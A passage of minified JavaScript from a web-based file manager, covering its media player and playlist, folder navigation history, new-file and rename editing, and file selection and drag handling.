a=e==n?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==n&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(a),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?n:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?n:a)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,n=t[i],a={extType:n,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return a[n]=e.url,a},c=function(e,t){if(t){var i=e.parents(".jPlayer"),n={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,n)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),n=$.dialog.list[e];n&&n.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),a=r(i),d=l(e[0]);a||(a=o(i),i==n&&p.init()),i==n&&(d=p.insert(a,e,t)),c(a,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,n="circle",a=function(n,a){i=n;for(var s=e.length,r=0;a.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==a[r].url){c=!0;break}if(c){if(r==a.length-1)return t!=d&&o(d),!1}else e.push(l(a[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(n){n=0>=n?0:n,n=n>=e.length-1?e.length-1:n,t=n;var a=e[n];c(i,a),u(!1)},s=function(i){switch(n){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],n=i.url+"&download=1";ui.pathOpen.downloadUrl(n)},p=function(){t=0,e=[],n="circle";var i=$(".jPlayer-music"),a=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=a.length?0:e;var t=a[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),n=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(n){var a=$(i).parents(".jPlayer");if(n){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),a.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(a.find(".item-title").html(e[t].title),a.find(".item").removeClass("this"),a.find(".item:eq("+t+")").addClass("this"),f(a.find(".player-bg")),void 0):(t=0,a.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),n="160deg",a="background-image: -webkit-linear-gradient("+n+", "+t+", "+i+"); background-image: -moz-linear-gradient("+n+", "+t+", "+i+"); background-image: -o-linear-gradient("+n+", "+t+", "+i+"); background-image: -ms-linear-gradient("+n+", "+t+", "+i+"); background-image: linear-gradient("+n+", "+t+", "+i+");";e.attr("style",a)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:a,init:p}}(),u=function(n){var o=s(n[0].ext);o==a?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(n)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(n)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),n=void 0;ui.pathOpen=i;var a=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,n){if(e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var a="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),a&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),n||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,n=function(n){var a=e.length-1;return a==i&&e[a]==n?r():(i!=a&&(e=e.slice(0,i+1)),e[e.length-1]!=n&&e.push(n),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},a=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",n=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=n)&&(i>0&&n>=i&&$("#history_back").removeClass(t),i>=0&&i!=n&&$("#history_next").removeClass(t))};return{add:n,back:s,next:a,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==n||G.this_path!=n.path||e!=n.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),n=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(n)}),n={key:e,path:G.this_path,index:0,list:t}}0!=n.list.length&&(r(n.list[n.index++]),n.index==n.list.length&&(n.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,n=0,a="."+t;if((void 0==t||""==t)&&(a=""),!d(e+a,t))return e+a;for(i=e+"(0)"+a;d(i,t);)n++,i=e+"("+n+")"+a;return i},u=function(e,i){var n,a=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(a+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(a+=o.length)):"down"==c&&(a+=s.length),n=0;r.length>n;n++)if("down"==c){if(-1==t.strSort(r[n][l],d[l]))break}else if(-1!=t.strSort(r[n][l],d[l]))break;return n+a-1},f=function(i,n,a){ui.fileLight.clear();var o=u(n,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:n,ext:a,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=n.length;"folder"!=i&&-1!=n.indexOf(".")&&(h=n.length-a.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){e===!1?$("#makefile").remove():m(e)},v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,a))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var n=G.this_path;"list_split"==G.user_config.list_type&&(n=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(n+e,_):t.newFile(n+e,_)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),n=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&a()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(n,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=n.length;"folder"!=s&&-1!=n.indexOf(".")&&(d=n.length-s.length-1),s||0!=n.indexOf(".")?c.textSelect(0,d):c.textSelect(0,n.length);var p=function(a){if("oexe"==s&&(a+=".oexe"),a!=n)e=o+n,a=o+a,t.rname(e,a,function(e){e===!1?$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(n)):m(e)});else{var r=n;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(n=n.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(n))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var n=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},a=0;e.length>a;a++)if("folder"==e[a].type){var o=rtrim(e[a].path,"/")+"/";t[o]||n(o)||(t[o]=0)}for(var a=0;e.length>a;a++){var o=e[a].path;"folder"==e[a].type&&(o=rtrim(o,"/")+"/"),n(o)||i.push(e[a])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),n=ui.fileLight.path(i),a=ui.fileLight.type(i);return{path:n,type:a}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var n=0;G.json_data[i].length>n;n++)if(G.json_data[i][n][e]==t)return G.json_data[i][n]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:a,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),n=jsonDecode(base64Decode(i));n.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(n)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),n=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(n).find(".picasaImage")),void 0;if(0!=$(n).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var a=n.attr("data-app");t.path=jsonDecode(base64Decode(a))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),n=core.path2url(i,!1);e.push({url:n,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),n=ui.fileLight.fileListSelect().last();i.name=trim(n.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(n){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var n=G.json_data.share_list[t.sid],a=core.pathFather(n.path),o=core.pathThis(n.path);"folder"==n.type?ui.path.list(n.path,""):ui.path.list(a,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(a()){var n=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(n,function(e){var t=g("path",n[e].path);void 0!=t&&(n[e].type="share",n[e].path=t.sid)}),t.remove(n,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var n=trim($(this).text());i!=e.length-1?t.favRemove(n,"",!0):t.favRemove(n,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){a()&&t.copy(v(!0))},cute:function(){a()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){a()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,f("clear"),a()},n=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menufile"),o(),h()},a=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,n=e;0!=n.length&&(t=n.length+LNG.folder_info_item_select,n.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var n=$(".bodymain");"list_split"==G.user_config.list_type&&(n=t.parent());var a=t.offset().top-n.offset().top-n.height()/2+n.scrollTop();n.stop(!0).animate({scrollTop:a},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(m($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),o(),h()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var t=".close_item,.refresh,.newfile,.past,.info",i=".open_ie",n=".explorer,.createProject,.openProject",a=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(t).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(i).addClass(r):s.find(n).addClass(r)):e.length>1&&s.find(a).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:m,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:n,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,n=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var n=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&n($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),n=h.fileListSelect($(this)),a=t.index($(this));if(0==n.length)x(0,a,t);else{var o=t.index(n.first()),s=t.index(n.last());o>a?x(a,s,t):a>s?x(o,a,t):x(o,a,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),a(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},a=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){($(this).hasClass("menuTreeFolder")||$(this).hasClass("menuTreeFolderFav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),n=i.getNodeByTId($(this).parent().attr("id"));!n.open&&n.isParent&&(e=setTimeout(function(){i.expandNode(n,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),n=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){n.isParent=!0,i.reAsyncChildNodes(n,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0 +},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),n=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),a="split_select";0==i.length&&(i=t.last()),t.removeClass(a),i.addClass(a),0==ui.fileLight.fileListSelect().length&&n.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var i,n,a,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),f=e.pageY,h=e.pageX,n=$(document).height(),a=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=a-50?a-50:e.clientX,r=e.clientY>=n-50?n-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=u,s.css({left:i,top:r}),y(e),j(i-h+p,r-f+u),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{x(e)}catch(t){}},10)},x=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 